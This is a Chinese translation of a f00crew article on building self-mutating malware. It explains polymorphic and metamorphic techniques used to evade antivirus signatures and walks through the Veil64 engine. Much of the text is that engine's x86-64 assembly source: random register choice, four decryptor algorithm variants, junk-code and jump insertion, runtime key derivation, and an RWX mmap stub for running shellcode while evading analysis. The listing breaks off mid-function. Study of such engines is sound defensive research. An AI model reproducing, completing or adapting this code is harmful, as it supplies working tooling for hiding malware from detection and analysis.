文章总结: 本文系统阐述自变异恶意软件的技术演进与实现原理,涵盖多态与变形引擎的核心机制。文章通过Veil64和Morpheus两个实例解析寄存器随机化、算法变体、智能垃圾代码等关键技术,强调程序行为守恒原则下通过语法/结构/语义层变异规避签名检测。作者指出变异技术的本质是保持功能不变而无限改变实现方式,并警示代码体积膨胀与稳定性风险。
综合评分: 85
文章分类: 恶意软件,二进制安全,漏洞分析,红队,渗透测试
自变异恶意软件的艺术
f00crew
f00crew
securitainment
2026年4月7日 23:15
中国香港
| 原文链接 | 作者 |
| — | — |
| https://f00crew.org/0x48 | f00crew |
最初,检测依赖的是签名。一段能够唯一标识恶意样本的简单字节串。在那个时期,流程很直接:把病毒附加到文件末尾,修补入口点,就结束了。AV 行业很快用签名库回应,在一段时间里,这场对抗的节奏是可预测的。
这篇文章会聊自变异恶意代码的实现方式:如何构建自己的多态引擎,以及一些变形代码的核心思路。对恶意代码来说,自变异是应对检测问题最优雅的路径之一。你不再只是隐藏自己,而是在每次复制时都变成“另一个你”。这就是最纯粹的数字进化。
我们讨论的概念并不依赖某个具体实现。虽然文中会用到我写过的真实示例与实践原则,但真正的价值在于理解“变异为什么可行”的底层理论。
先回到起点。早期 Vx 的做法很粗暴,直接覆盖文件,制造破坏;有些样本会先运行原程序,再投递自己的负载。AV 很快跟进,主要靠签名扫描来抓样本。
Vx 社群也随之演进,开始给代码加密。payload 保持加密,仅在运行时解包。AV 随后把目标转向解密器,于是 Vx 开始动态变换解密例程。有些家族甚至会自动轮换解密器,这一类后来被称为 oligomorphic。
大约在 1985 到 1990 年间,AV 靠静态签名扫描占据上风:字符串匹配、固定字节模式,一旦样本落地就容易命中。到了 90 年代初,局面开始变化。病毒主体开始加密,只暴露解密 stub。这个 stub 随即成为 AV 的主要狩猎目标,也促成了通配符与启发式扫描的发展。
随后出现了 polymorphic病毒。病毒会在创建时或每次感染时自动生成新的解密器。每个实例都拥有自己的加解密例程,通过重排机器码躲避扫描。这正是 1995 到 2000 年间的典型特征:同一病毒、无限外观。Dark Avenger 的 MtE 引擎把这场博弈彻底改写。
再之后,metamorphic病毒登场,不再依赖加密外壳。它们会在每次感染时重写整个主体。代码结构、控制流、寄存器使用都会变化,但 payload 保持不变。2000 到 2005 年间,Zmist 和 Simile 这类变形样本把门槛进一步抬高:不再有固定解密例程可追踪,只剩持续的代码变异。
变形代码改变的是 _全部_,而不只是解密器。它由多态演化而来,但已经从“加密伪装”升级为“整体代码重塑”。检测难度极高;实现难度同样极高,尤其在汇编层面更是如此。
概览
怎么选?说到自修改加载器,你有两条路。第一条是保持小而狠。做一个轻量、快速的加载器,只做“刚好够用”的变异:这里微调几处,那里快速洗牌几下,不触发明显告警地躲过扫描器。代码依旧精简、粗粝,但足够可靠。
另一条是走向完全变形。加载器不再只是微调自己,而是拆解自身再重建。布局重排、指令打散、每次运行都使用全新加密。逆向工程师和 AV 即使抓到一个版本,下一个版本也会像陌生样本。
这不是魔法。要让它在每次变异后都稳定运行,非常困难。你必须内置校验:统计指令、验证跳转、对每次改动做健全性检查,否则就会直接崩溃。更麻烦的是,代码体积还可能失控膨胀,最终失去实用性。
在讲具体技术之前,先要明确:当我们讨论可执行代码时,变异 真正指的是什么。它不只是“改几个字节”,而是“形式与功能”的关系,以及这种关系在不破坏行为前提下能被拉伸到什么程度。
— 身份的本质 —
一个程序到底“凭什么”是它自己?是指令顺序?寄存器用法?内存布局?还是更深层的东西,比如意图?
变异给出的答案是:身份不在代码 看起来像什么,而在代码 做了什么。只要两个二进制对同样输入给出同样输出,它们在功能上就是等价的,即便汇编写法完全不同。
Version A: Version B: Version C:
mov eax, 0 xor eax, eax sub eax, eax
inc ebx add ebx, 1 lea ebx, [ebx+1]
Bytes: Bytes: Bytes:
B8 00 00 00 00 43 31 C0 83 C3 01 29 C0 8D 5B 01
三组完全不同的字节模式,却产生相同行为。这就是我的“顿悟时刻”,也是后续所有实现的起点。
核心洞见是:程序的身份不是字节,而是行为。如果我能生成无限多个“行为不变、字节不同”的模式,那么基于签名的检测就会被持续削弱。
但这也引出了更难的问题:
- 如何系统化地生成等价代码?
- 如何保证跨变异的正确性?
- 如何让变体真正不可预测?
这三个问题直接塑造了我两个引擎的设计。它们用来探索“变异”这件事的不同路径,我们叫它们 Veil64 和 Morpheus。
Veil64是一个 Polymorphic 代码生成器,用于生成解密例程的无限变体:同一功能,无限形态。Morpheus则是一个文件感染器,会在执行过程中真实地重写自身代码。
这就是核心思想。其他一切都建立在它之上:如果你无法隐藏“做了什么”,那就让“怎么做”变得不可预测。
先看签名。签名是 AV 重点追踪的字节模式,相当于“高风险”的数字足迹。字符串、代码片段、哈希,只要能标记恶意软件,都会被利用。加密在这里是关键手段,它会打乱这些可识别标记,让 AV 难以命中。
然后是 payload,也就是实际执行恶意逻辑的部分。它通常不会单独运行,而是绑定在 stub 上,由这个小模块在内存里完成解密并启动 payload。由于 payload 本身被加密,AV 很难直接静态命中,于是会转而针对 stub。问题是 stub 足够小、足够容易持续变形,可以不断绕开旧规则。
这会把对抗变成“一对多”的博弈,而这个数学关系天然偏向变异端。每个新变体都有机会击穿旧检测规则、烧掉旧签名、继续潜伏。
“What starts as polymorphic finishes as metamorphic.”
— 变异的层级 —
变异不是只改表面,而是跨层发生,既包括语法级变化,也包括结构级与语义级重构。
先看 syntactic mutation(语法层变异)。这是最外层:替换等价指令、打乱寄存器使用、重排操作顺序。外观不同,结果不变。
Original: mov eax, [ebx+4]
Mutated: push ebx
add ebx, 4
mov eax, [ebx]
sub ebx, 4
pop ebx
这两段都把 [ebx+4] 的值加载到 eax,只是指令路径完全不同。
再往下是 structural mutation(结构层变异)。变化更深:控制流重连、数据结构改写,甚至把整套算法替换为“路径不同但结果等价”的实现。
最深的是 semantic mutation(语义层变异)。它会拆分函数、重组逻辑为行为等价体,同时确保原始意图不变。
— 守恒原则 —
无论变异有多激进,都有一条不可谈判的约束:程序的语义行为必须被保留。也就是 做什么_(功能输出)必须保持不变;变化的只能是怎么做_(内部实现机制)。
基因型(底层代码结构)可以自由漂移、变异、混淆;表现型(外部可观察行为)必须保持不变。所有变异技术都只能在这个边界内运作。
朴素做法
多态是最纯粹的变异。它本质上是在用一千种不同方式表达同一件事。就像一只带着明确目标的变色龙:核心行为锁死,其余部分持续变化。没有固定身份,只有无尽变体。
我第一次真正尝试击穿签名检测,用的是 Veil64:一个多态代码生成器,能对同一解密逻辑生成无限种写法。目标很简单:每次都用不同方式加密 payload,并确保解密器永远不会出现两次相同外观。
— 核心挑战 —
要构造一段每次都能正确解密、但每次看起来都不一样的代码。每次生成都必须紧凑、快速、干净,执行效率要高,不能留下明显模式,还要同时抗静态和动态分析。
所以我从简单的双阶段开始,而理解这个拆分是理解它为何有效的关键。第一层是 stub:一小段最小化代码,负责内存分配并解密内嵌引擎。第二层是 engine 本体:真正处理 payload 的多态解密器。
┌─────────────────┐
│ Stub Code │ (119-200 bytes)
├─────────────────┤
│ Encrypted Engine│ (176-300 bytes)
├─────────────────┤
│ Padding │
└─────────────────┘
为什么要用两阶段?因为这样可以把多态引擎本身也加密起来。stub 体积小、逻辑简单,即使有变体,签名空间也有限;真正的多态能力都在 engine 里。把 engine 加密后嵌入 stub,就能把复杂且可变的代码隐藏到运行时才暴露。
整体流程是这样:你用缓冲区、大小和种子 key 调用 genrat()。引擎先用多种熵源生成运行时密钥:RDTSC 提供硬件时序、栈指针提供进程差异、RIP 提供位置相关随机性。然后它构建多态引擎,包含随机寄存器分配、四类算法变体选择,以及智能垃圾代码注入。
接下来是 stub 生成阶段。这里会生成多种 mmap syscall 初始化变体,处理 RIP 相对寻址以保证位置无关,并嵌入已加密的 engine。最后把所有内容加密并组装为可执行代码。
巧妙之处在于:stub 和 engine 是独立变化的。即使有人给 stub 变体做了签名,内部的加密 engine 每次也不同;即使他们设法提取并分析了 engine,下一代也会换一套完全不同的寄存器与算法。
— 多态性的四大支柱 — _绝不要两次使用同一组寄存器
硬编码寄存器就是签名诱饵。如果你的解密器总是用 EAX 做计数器、用 EBX 做数据指针,那几乎等于主动暴露。这样的模式会被很快标记,所以引擎在每次生成时都会随机化寄存器使用。
但这不是随便抓几个寄存器。选择过程会避免冲突、跳过 ESP 防止栈破坏,并确保同一寄存器不会承担多个角色。底层处理大致如下:
get_rr:
call next_random
and rax, 7
cmp al, REG_RSP ; Never use stack pointer
je get_rr
cmp al, REG_RAX ; Avoid RAX conflicts
je get_rr
mov [rel reg_base], al ; Store base register
.retry_count:
call next_random
and rax, 7
cmp al, REG_RSP
je .retry_count
cmp al, [rel reg_base] ; Ensure no conflicts
je .retry_count
mov [rel reg_count], al
这个过程会对 key 寄存器和垃圾代码用到的所有寄存器重复执行。仅在还没考虑算法和垃圾注入之前,寄存器组合就有 210 种。也就是说,同样的寄存器级操作可以有 210 种外观,而对签名扫描器来说它们彼此完全不同。
某个变体可能用 RBX 做数据、RCX 做计数器、RDX 做 key。下一个变体就可能换成 RSI 做数据、RDI 做计数器、RBX 做 key。再下一次还可能用扩展寄存器 R8、R9、R10。每种组合在功能上等价,但 opcode 形态完全不同。
— 同一件事的 4 种说法 —
寄存器随机化只是起点,真正的深度来自算法多态。我们不固定在单一解密流程上,而是在四种等价算法之间轮换:输出相同,但指令流完全不同。
这不是简单把 XOR 换成 ADD。每个变体都经过精心设计:一边保证正确性,一边最大化签名分散度。
算法 0 走 ADD > ROL > XOR:先把 key 加到数据上,左旋 16 位,再与 key 做 XOR。
算法 1 切到 XOR > ROL > XOR。
算法 2 走另一条路径:SUB > ROR > XOR。
算法 3 则是 XOR > ADD > XOR。
四种算法最终结果一致,但指令序列和 opcode 模式完全不同。
; Algorithm 0: ADD/ROL/XOR
add [data_ptr], key_reg ; Add key to data
rol qword [data_ptr], 16 ; Rotate left 16 bits
xor [data_ptr], key_reg ; XOR with key
; Algorithm 1: XOR/ROL/XOR
xor [data_ptr], key_reg ; XOR with key
rol qword [data_ptr], 16 ; Rotate left 16 bits
xor [data_ptr], key_reg ; XOR again
; Algorithm 2: SUB/ROR/XOR
sub [data_ptr], key_reg ; Subtract key
ror qword [data_ptr], 16 ; Rotate right 16 bits
xor [data_ptr], key_reg ; XOR with key
; Algorithm 3: XOR/ADD/XOR
xor [data_ptr], key_reg ; XOR with key
add [data_ptr], key_reg ; Add key
xor [data_ptr], key_reg ; XOR again
每个算法在加密阶段都有对应的逆过程。比如加密走 XOR -> ROR -> SUB,解密就走 ADD -> ROL -> XOR。数学上可以精确抵消,但指令流并不会“长得一样”。opcode 模式、指令长度、寄存器使用都会变化。对签名扫描器而言,它们看起来就是完全不同的例程。
— 智能垃圾代码 —
多数多态引擎会在这里翻车:它们要么狂塞随机字节,要么堆明显的 NOP sled,几乎等于在喊 “I’m malware.”这很低级。真正的多态会使用“看起来有意图”的垃圾代码,能融入上下文,并模仿正常编译器输出。
垃圾注入并非纯随机,而是有结构的。它会用无净效果的 PUSH/POP配对,但外观像寄存器保护;XOR reg, reg模仿常见清零初始化;MOV reg, reg看似无意义复制,却符合编译器在寄存器重排时的典型产物。
trash:
call yes_no
test rax, rax
jz .skip_push_pop
; Generate PUSH with random register
movzx rax, byte [rel junk_reg1]
add al, PUSH_REG
stosb
; Generate POP with different register
movzx rax, byte [rel junk_reg2]
add al, POP_REG
stosb
这只是一个非常基础的示例,有些引擎会做得更激进。关键点是让它看起来像真实开发者会写的代码。PUSH RAX接 POP RBX可以伪装成寄存器保存与转移;XOR RAX, RAX像合法初始化;MOV RAX, RAX像优化器留下的空操作。它们在功能上不产生价值,但在视觉上都能“混进去”。
垃圾注入还会故意保持不一致:有时很密集,有时只有零星几条;有时集中成块,有时分散在循环中。不存在一个固定的“垃圾区”可供隔离,只有每次都看起来正常的代码形态。
— 打破线性分析 —
静态分析依赖线性流程:遍历代码、构建图、提取模式。那我们就打断它。随机跳转被插入来跨过垃圾区,直接破坏直线式逻辑。
跳转生成并不张扬。有时是 2 字节短跳,有时是 5 字节长跳;可能只跨过 1 个字节,也可能跨过十几个。被跳过的垃圾内容每次都随机。即使分析器跟上了跳转路径,也会在每轮都被打乱节奏。
gen_jmp:
call yes_no
test rax, rax
jz .short_jmp
; Long jump variant
mov al, JMP_REL32
stosb
mov eax, 1 ; Jump over 1 byte
stosd
call next_random ; Random garbage byte
and al, 0xFF
stosb
jmp .jmp_exit
.short_jmp:
; Short jump variant
mov al, JMP_SHORT
stosb
mov al, 1
stosb
call next_random
and al, 0xFF
stosb
这会产生不可预测的控制流,同时干扰静态和动态分析。静态工具面对的是混杂随机数据的非线性指令流;动态工具则在每次运行都遇到不同执行路径,难以建立稳定行为画像。
这些跳转还有双重作用:它们也在模仿编译器输出。真实编译代码本就充满分支、跳转和不规则流程。注入我们自己的跳转,会增加这种“自然复杂度”,让代码更容易无缝融入。
— 熵源问题 —
硬编码 key 或常量是陷阱。我是吃过亏才明白的:早期版本在每个变体里都嵌了常量 0xDEADBEEF。其他代码再怎么变,这个固定值都会立刻变成红色警报。
解决办法是运行时生成 key:没有固定常量、没有重复、没有可钉死的模式。每次执行都重新构造密钥,并从多个熵源取值,这些熵源会随执行轮次、进程和机器而变化。
gen_runtm:
rdtsc ; CPU timestamp counter
shl rdx, 32
or rax, rdx ; Full 64-bit timestamp
xor rax, [rel key] ; Mix with user input
mov rbx, rsp ; Stack pointer entropy
xor rax, rbx
call .get_rip ; Current instruction pointer
.get_rip:
pop rbx
xor rax, rbx
; Dynamic transformations - no fixed constants
rol rax, 13
mov rbx, rax
ror rbx, 19
xor rbx, rsp ; Stack-dependent transformation
add rax, rbx
mov rbx, rax
rol rbx, 7
not rbx
xor rax, rbx ; Bitwise complement mixing
mov [rel stub_key], rax
熵来自多个来源。RDTSC 提供微秒级变化的高分辨率时序;栈指针会随进程和函数调用而变;RIP 在 ASLR 下带来位置相关随机性;用户 key 则引入输入驱动的变化。
真正的强度在于这些值的组合方式。它不是简单 XOR,而是经过旋转、取反,并与栈相关值混合。每一步变换都依赖当前状态,形成一条依赖链,最终产生真正不可预测的 key。
— 随机性至关重要 —
优秀的多态能力依赖高质量随机性。很多引擎使用基础线性同余生成器,或者只是递增计数器,这两种都容易产生可预测模式并被标记。我更偏向 XorShift PRNG:速度快、周期长(2^64−1),也能通过较强的统计随机测试,在很长时间内不会重复。
next_random:
mov rax, [rel seed]
mov rdx, rax
shl rdx, 13 ; Left shift 13
xor rax, rdx ; XOR
mov rdx, rax
shr rdx, 17 ; Right shift 17
xor rax, rdx ; XOR
mov rdx, rax
shl rdx, 5 ; Left shift 5
xor rax, rdx ; XOR
mov [rel seed], rax
先左移 13 位,再与原始 seed 做 XOR;然后右移 17 位,再 XOR;最后左移 5 位,再 XOR 一次。逻辑很简单,但足够快。不过对于寄存器分配、算法选择这类决策,你需要的是不会意外产出可检测模式的随机性。
在 ASLR 下,代码每次会被加载到不同地址。若硬编码绝对地址,你的多态解密器一旦落在意外位置就会失效。解决方式是使用 RIP 相对寻址,并基于当前指令指针计算偏移。
关键陷阱在于:RIP 指向的是_下一条_指令,而不是当前指令。因此当你生成一条长度为 7 字节的 LEA 指令时,必须把“执行时 RIP 已经前进 7 字节”这个事实计算进去。
; Calculate RIP-relative offset to embedded data
mov rbx, rdi ; Current position
add rbx, 7 ; RIP after LEA instruction
sub rax, rbx ; Calculate offset
; Generate: lea rsi, [rip + offset]
mov al, 0x48 ; REX.W
stosb
mov al, 0x8D ; LEA opcode
stosb
mov al, 0x35 ; ModRM for RIP-relative
stosb
stosd ; Store calculated offset
这个偏移计算发生在代码生成阶段,而不是运行时。因为我们知道加密 engine 数据和 LEA 指令的落点,所以可以预先算出精确偏移。这也更接近编译器输出风格。x64 编译器高度依赖 RIP 相对寻址访问全局变量和字符串字面量,匹配这种模式能让生成代码更自然地融入。
— 即时生成机器码 —
这里才真正进入核心。你不能只重排预写汇编就称之为多态。引擎会即时生成原始 x64 机器码,逐字节构建每条指令。opcode 和操作数都动态计算,取决于当前寄存器分配与算法选择。
以一条简单 XOR 指令为例,比如 xor [rbx], rdx。引擎必须把它动态编码成机器码,并根据本轮随机分配到的寄存器进行调整。
gen_xor_mem_key:
call gen_jmp ; Maybe insert obfuscation
mov ax, XOR_MEM_REG ; XOR opcode (0x31)
mov dl, [rel reg_key] ; Get key register number
shl dl, 3 ; Shift for ModRM encoding
mov ah, [rel reg_base] ; Get base register
add ah, dl ; Combine for ModRM byte
stosw ; Write opcode + ModRM
真正的关键在 ModRM 字节。在 x64 里,它编码了指令使用哪些寄存器:7-6 位是寻址模式,5-3 位是源寄存器,2-0 位是目标寄存器。通过动态计算这个字节,引擎就能用任意寄存器组合实现同一操作。
例如当 RBX 是基址、RDX 是 key 时,会得到一种 ModRM;若换成 RSI 和 RCX,就会得到完全不同的字节。同样逻辑,不同机器码,不同签名。
stub 需要调用 mmap 分配可执行内存,这意味着要把 RAX 设为 9。看起来很简单,mov rax, 9就行。但这会形成签名:每个变体在 syscall 初始化阶段都会出现同样的指令序列。
所以 stub 生成器提供了多种 syscall 编号构造方式。方法 0 是直接写入:mov rax, 9。方法 1 用 XOR 加 ADD:先 xor rax, rax再 add rax, 9。方法 2 用递减:mov rax, 10后 dec rax。方法 3 用位移:mov rax, 18后 shr rax, 1。
; Method 0: Direct load
mov rax, 9
; Method 1: XOR + ADD
xor rax, rax
add rax, 9
; Method 2: Decrement
mov rax, 10
dec rax
; Method 3: Shift
mov rax, 18
shr rax, 1
每种方法最终都让 RAX 等于 9,但指令序列在 opcode、长度和寄存器使用上完全不同。签名扫描器会看到四种不同的 syscall 初始化方式,检测规则因此变得不可靠。
这种多态思路同样应用于所有 syscall 参数。无论是把 RDI 设为 0(地址)、RSI 设为 size,还是 RDX 设为内存保护标志,都采用同样策略来规避模式匹配。
— 性能与扩展性 —
基础生成平均每个变体约 9 到 13 毫秒,折算每分钟可产出 50,000 到 75,000 个变体,足以冲击签名检测。速度没有更高,是因为每个变体都要经历寄存器重命名、流程随机化、智能垃圾代码注入和反调试检查。
生成时间波动约为 ±3 到 4 毫秒,这是故意加入的,用来避免可预测性,因为稳定时序会导致检测。引擎通过改变指令顺序、垃圾块大小和加密轮次来维持这种抖动。
静态加载时内存占用约 340 到 348 KB,远高于 4 KB 的玩具级引擎。这个体积包含预计算变换表、运行时变异逻辑和反仿真陷阱。单个变体的内存使用保持平稳,无泄漏也无递增,得益于激进复用临时缓冲、强制重置寄存器状态,以及生成阶段零动态分配。
代码尺寸在 180 字节到 1.2 KB 之间波动。最小变体(180-400 字节)偏向精简算法,执行快但规避能力较低;中等变体(400-800 字节)在垃圾代码与功能之间平衡,更利于隐蔽持久;最大变体(800 字节到 1.2 KB)通过伪分支和 FPU 垃圾代码堆出最大复杂度,专门诱导 AV 引擎。
— 变体长什么样 —
Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
48 C7 C0 0A 00 00 00 mov rax, 10
48 FF C8 dec rax
50 push rax
58 pop rax
90 nop
48 31 FF xor rdi, rdi
...
Variant #2: Size 368, Key 0x6BAAA583D73FA32B
50 push rax
58 pop rax
50 push rax
58 pop rax
48 31 C0 xor rax, rax
48 83 C0 09 add rax, 9
...
Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
90 nop
90 nop
50 push rax
58 pop rax
48 C7 C0 09 00 00 00 mov rax, 9
...
看看差异。变体 #1 通过先加载 10 再递减来设置 RAX。变体 #2 先放入 PUSH/POP 垃圾,再用 XOR/ADD。变体 #3 则以 NOP 开场,插入另一套垃圾后直接加载。结果相同(RAX = 9),方法却完全不同。
尺寸波动范围很大。这三个样本刚好只差 50 字节以内。实际上引擎可以产出从紧凑型 180 字节到 1200 字节大型版本的各种变体,取决于注入垃圾和混淆的强度。
引擎会按结构与复杂度把变体分成三类。紧凑型约 295 到 350 字节,垃圾最少、速度优先;平衡型可到 400 字节,在混淆与稳定性之间折中;复杂型可到 500 字节,叠加更多多态技巧与反分析层。
四种算法叠加 210 组寄存器排列,在不加垃圾代码和控制流混淆之前就有 840 个基础变体。再引入可变垃圾注入(从不注入到几十条垃圾指令)、多样跳转模式,以及针对每个 syscall 参数的多套 stub 初始化方式,变体空间会扩展到百万级。
关键不只是数量,更是“功能等价 + 签名多样”。每个变体都能正确解密 payload,但在签名检测视角下又彼此明显不同。
有效的多态建立在“正确性不退化”的前提下最大化签名多样性。能生成数十亿变体没有意义,如果其中大量失效,或仍共享可检测模式。正确性与多样性规模必须同时成立。
— 设计内建反分析 —
仿真引擎通常很难处理可变时序,而垃圾代码注入会制造不可预测的执行时长。依赖栈状态的密钥生成会让同一变体在不同进程上下文中表现不同。对硬件时间戳的依赖也会进一步提高仿真成本,因为它要求准确模拟 RDTSC。
没有固定常量或字符串时,静态分析工具也会吃力,因为几乎没有可 grep、可指纹化的锚点。多态控制流会破坏线性分析,而加密引擎内嵌又把核心逻辑隐藏到运行时才暴露。
动态分析也会被“看起来合法、功能上中性”的垃圾代码扰乱。多条执行路径会在每次运行生成不同的行为轨迹。运行时密钥推导还能保证每次执行 key 都唯一,即便跟踪成功也难复用结果。
反分析特性不是可选项,而是体系的一部分。每种多态手段都同时承担两件事:规避签名与提高分析成本。寄存器随机化会阻碍静态检查,算法变体会干扰行为检测,垃圾注入会消耗分析时间并制造误报。
Veil.s
;------------------------------------------------------------
; [ V E I L 6 4 ]
;------------------------------------------------------------
; Type: Polymorphic Engine / Stub Generator
; Platform: x86_64 Linux
; Size: ~4KB Engine + Custom Stub
; Runtime shellcode obfuscation, encryption,
; and stealth execution via mmap + RIP tricks.
;
; 0xf00sec
;------------------------------------------------------------
section .text
global genrat
global exec_c
global _start
; x64 opcodes
%define PUSH_REG 0x50
%define POP_REG 0x58
%define ADD_MEM_REG 0x01
%define ADD_REG_IMM8 0x83
%define ROL_MEM_IMM 0xC1
%define XOR_MEM_REG 0x31
%define TEST_REG_REG 0x85
%define JNZ_SHORT 0x75
%define JZ_SHORT 0x74
%define CALL_REL32 0xE8
%define JMP_REL32 0xE9
%define JMP_SHORT 0xEB
%define RET_OPCODE 0xC3
%define NOP_OPCODE 0x90
%define JNZ_LONG 0x0F85
%define FNINIT_OPCODE 0xDBE3
%define FNOP_OPCODE 0xD9D0
; register encoding
%define REG_RAX 0
%define REG_RCX 1
%define REG_RDX 2
%define REG_RBX 3
%define REG_RSP 4
%define REG_RBP 5
%define REG_RSI 6
%define REG_RDI 7
section .data
stub_key: dq 0xDEADBEEF ; runtime key
sec_key: dq 0x00000000
engine_size: dq 0
dcr_eng: dq 0
stub_sz: dq 0
sz: dq 0
seed: dq 0 ; PRNG state
p_entry: dq 0 ; output buffer
key: dq 0 ; user key
reg_base: db 0 ; selected registers
reg_count: db 0
reg_key: db 0
junk_reg1: db 0 ; junk registers
junk_reg2: db 0
junk_reg3: db 0
prolog_set: db 0
fpu_set: db 0
jmp_back: dq 0
alg0_dcr: db 0 ; algorithm selector
align 16
entry:
times 4096 db 0 ; engine storage
exit:
section .text
; main generator entry point
genrat:
push rbp
mov rbp, rsp
sub rsp, 64
push rbx
push r12
push r13
push r14
push r15
test rdi, rdi ; validate params
jz .r_exit
test rsi, rsi
jz .r_exit
cmp rsi, 1024 ; min buffer size
jb .r_exit
mov [rel p_entry], rdi
mov [rel sz], rsi
mov [rel key], rdx
call gen_runtm ; generate runtime keys
lea rdi, [rel entry]
mov r12, rdi
call gen_reng ; build engine
mov rax, rdi ; calculate engine size
sub rax, r12
mov [rel engine_size], rax
mov rdi, [rel p_entry]
call unpack_stub ; build stub
call enc_bin ; encrypt payload
mov rax, [rel stub_sz] ; total
test rax, rax
jnz .calc_sz
mov rax, rdi
sub rax, [rel p_entry]
.calc_sz:
pop r15
pop r14
pop r13
pop r12
pop rbx
add rsp, 64
pop rbp
ret
.r_exit:
xor rax, rax
pop r15
pop r14
pop r13
pop r12
pop rbx
add rsp, 64
pop rbp
ret
; generate engine
gen_reng:
push rdi
push rsi
push rcx
rdtsc
xor rax, [rel key]
mov rbx, 0x5DEECE66D
xor rax, rbx
mov rbx, rax
shl rbx, 13
xor rax, rbx
mov rbx, rax
shr rbx, 17
xor rax, rbx
mov rbx, rax
shl rbx, 5
xor rax, rbx
xor rax, rsp
mov [rel seed], rax
push rdi ; clear state
lea rdi, [rel reg_base]
mov rcx, 16
xor rax, rax
rep stosb
pop rdi
pop rcx
pop rsi
pop rdi
call get_rr ; select random registers
call set_al ; pick decrypt algorithm
call gen_p ; generate prologue
call yes_no ; random junk insertion
test rax, rax
jz .skip_pr
call gen_trash
.skip_pr:
call trash
call yes_no
test rax, rax
jz .skip_dummy
call gen_dummy
.skip_dummy:
call gen_dec ; main decrypt loop
call yes_no
test rax, rax
jz .skip_prc
call gen_trash
.skip_prc:
mov al, RET_OPCODE
stosb
cmp qword [rel jmp_back], 0 ; conditional jump back
je .skip_jmp
mov ax, JNZ_LONG
stosw
mov rax, [rel jmp_back]
sub rax, rdi
sub rax, 4
stosd
.skip_jmp:
call trash
mov al, RET_OPCODE
stosb
ret
; encrypt generated engine
enc_bin:
push rdi
push rsi
push rcx
push rax
push rbx
lea rdi, [rel entry]
mov rcx, [rel engine_size]
; validate engine size
test rcx, rcx
jz .enc_done
cmp rcx, 4096
ja .enc_done
cmp rcx, 10
jb .enc_done
; encrypt in place
mov rax, [rel stub_key]
mov rsi, rcx
.enc_loop:
test rsi, rsi
jz .enc_done
xor byte [rdi], al
rol rax, 7
inc rdi
dec rsi
jmp .enc_loop
.enc_done:
pop rbx
pop rax
pop rcx
pop rsi
pop rdi
ret
; build stub wrapper
unpack_stub:
push rbx
push rcx
push rdx
push r12
mov r12, rdi
call bf_boo ; bounds check
jae .stub_flow
call stub_trash
call gen_stub_mmap
call stub_decrypt
mov rax, rdi
sub rax, r12
mov [rel stub_sz], rax
call stub_trash
; update size after junk
mov rax, rdi
sub rax, r12
; check space for encrypted engine
mov rbx, rax
add rax, [rel engine_size]
cmp rax, [rel sz]
ja .stub_flow
; embed encrypted engine
lea rsi, [rel entry]
mov rcx, [rel engine_size]
test rcx, rcx
jz .skip_embed
rep movsb
.skip_embed:
; final size calculation
mov rax, rdi
sub rax, r12
mov [rel stub_sz], rax
pop r12
pop rdx
pop rcx
pop rbx
ret
.stub_flow:
xor rax, rax
mov [rel stub_sz], rax
pop r12
pop rdx
pop rcx
pop rbx
ret
; generate stub junk
stub_trash:
call next_random
and rax, 7 ; 0-7 junk instructions
mov rcx, rax
test rcx, rcx
jz .no_garbage
.trash_loop:
call next_random
and rax, 3 ; choose junk type
cmp al, 0
je .gen_nop
cmp al, 1
je .gen_push_pop
cmp al, 2
je .gen_xor_self
jmp .gen_mov_reg
.gen_nop:
mov al, 0x90
stosb
jmp .next_garbage
.gen_push_pop:
mov al, 0x50 ; push rax
stosb
mov al, 0x58 ; pop rax
stosb
jmp .next_garbage
.gen_xor_self:
mov al, 0x48 ; rex.w
stosb
mov al, 0x31 ; xor rax,rax
stosb
mov al, 0xC0
stosb
jmp .next_garbage
.gen_mov_reg:
mov al, 0x48 ; rex.w
stosb
mov al, 0x89 ; mov rax,rax
stosb
mov al, 0xC0
stosb
.next_garbage:
loop .trash_loop
.no_garbage:
ret
; generate mmap syscall stub
gen_stub_mmap:
; mmap setup
call next_random
and rax, 3 ; choose method
cmp al, 0
je .mmap_method_0
cmp al, 1
je .mmap_method_1
cmp al, 2
je .mmap_method_2
jmp .mmap_method_3
.mmap_method_0:
; mov rax, 9
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC0
stosb
mov eax, 9 ; mmap syscall
stosd
jmp .mm_continue
.mmap_method_1:
; xor rax,rax; add rax,9
mov al, 0x48
stosb
mov al, 0x31
stosb
mov al, 0xC0
stosb
mov al, 0x48
stosb
mov al, 0x83
stosb
mov al, 0xC0
stosb
mov al, 9
stosb
jmp .mm_continue
.mmap_method_2:
; mov rax,10; dec rax
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC0
stosb
mov eax, 10
stosd
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC8
stosb
jmp .mm_continue
.mmap_method_3:
; mov rax,18; shr rax,1
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC0
stosb
mov eax, 18
stosd
mov al, 0x48
stosb
mov al, 0xD1
stosb
mov al, 0xE8
stosb
.mm_continue:
call stub_trash
; rdi setup
call next_random
and rax, 1
test rax, rax
jz .rdi_method_0
; mov rdi,0
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC7
stosb
mov eax, 0
stosd
jmp .rdi_done
.rdi_method_0:
; xor rdi,rdi
mov al, 0x48
stosb
mov al, 0x31
stosb
mov al, 0xFF
stosb
.rdi_done:
; mov rsi,4096
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC6
stosb
mov eax, 4096
stosd
; mov rdx,7 (rwx)
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC2
stosb
mov eax, 7
stosd
; mov r10,0x22 (private|anon)
mov al, 0x49
stosb
mov al, 0xC7
stosb
mov al, 0xC2
stosb
mov eax, 0x22
stosd
; mov r8,-1
mov al, 0x49
stosb
mov al, 0xC7
stosb
mov al, 0xC0
stosb
mov eax, 0xFFFFFFFF
stosd
; mov r9,0
mov al, 0x4D
stosb
mov al, 0x31
stosb
mov al, 0xC9
stosb
; syscall
mov al, 0x0F
stosb
mov al, 0x05
stosb
ret
; generate decryption stub
stub_decrypt:
; mov rbx,rax (save mmap result)
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xC3
stosb
; calculate RIP-relative offset to embedded engine
mov r15, rdi
mov rax, [rel p_entry]
mov rdx, [rel stub_sz]
test rdx, rdx
jnz .usszz
; fallback calculation
mov rdx, rdi
sub rdx, [rel p_entry]
add rdx, 100
